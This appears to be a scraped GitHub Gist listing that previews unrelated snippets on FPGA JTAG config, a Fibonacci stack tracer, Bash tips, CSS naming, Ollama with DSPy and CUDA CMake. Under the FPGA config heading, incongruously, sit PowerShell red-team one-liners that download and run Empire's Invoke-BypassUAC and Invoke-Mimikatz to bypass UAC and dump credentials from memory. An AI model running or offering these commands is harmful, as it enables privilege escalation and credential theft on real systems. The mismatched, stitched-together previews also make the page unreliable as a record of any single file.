Skip to content

Instantly share code, notes, and snippets.

@racerxdl
racerxdl / LFE5U-25F.cfg
Created June 4, 2020 22:17
FPGA Board FT232
jtag newtap ecp5 tap -irlen 8 -expected-id 0x41111043
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@DuskyElf
DuskyElf / fib_rec.py
Created May 19, 2024 11:19
Visual Stack trace of recursive fibonacci function
class HorizontalPrint:
def __init__(self):
self.y = 0
self.buffer = [""]
def print(self, v: str):
self.buffer[self.y] += v
self.y += 1
if len(self.buffer) <= self.y:
@wcarhart
wcarhart / bash_tidbits.md
Last active May 19, 2024 11:18
Helpful Bash design patterns

Helpful Bash tidbits

@danopia
danopia / .bashrc
Created August 31, 2012 07:55
Clippy at the Linux CLI
function command_not_found_handle {
{echo "It looks like you're trying to run a UNIX command.";echo "Would you like some help with that?"; echo; /usr/lib/command-not-found $1 2>&1|fold -sw 55}|cowsay -f$HOME/.clippy -n
}
@bradtraversy
bradtraversy / terminal-commands.md
Last active May 19, 2024 11:15
Common Terminal Commands

Common Terminal Commands

Key Commands & Navigation

Before we look at some common commands, I just want to note a few keyboard commands that are very helpful:

  • Up Arrow: Will show your last command
  • Down Arrow: Will show your next command
  • Tab: Will auto-complete your command
  • Ctrl + L: Will clear the screen
@paceaux
paceaux / tinyRules.css.md
Last active May 19, 2024 11:15
Tiny rules for how to name things in CSS and JS

Tiny rules for how to name stuff

CSS

How to name CSS classes

Stateful Class names

Is it a state that is only one of two conditions? (i.e. a boolean)

@jrknox1977
jrknox1977 / ollama_dspy.py
Created February 9, 2024 18:06
ollama+DSPy using OpenAI APIs.
# install DSPy: pip install dspy
import dspy
# Ollam is now compatible with OpenAI APIs
#
# To get this to work you must include `model_type='chat'` in the `dspy.OpenAI` call.
# If you do not include this you will get an error.
#
# I have also found that `stop='\n\n'` is required to get the model to stop generating text after the ansewr is complete.
# At least with mistral.
@ashwin
ashwin / build-cuda.cmake
Last active May 19, 2024 11:14
Sample CMakeLists.txt file to build a CUDA program
### CMakeLists.txt for CUDA
cmake_minimum_required(VERSION 2.8)
find_package(CUDA QUIET REQUIRED)
# Pass options to NVCC
set(
CUDA_NVCC_FLAGS
${CUDA_NVCC_FLAGS};
-O3 -gencode arch=compute_22,code=sm_22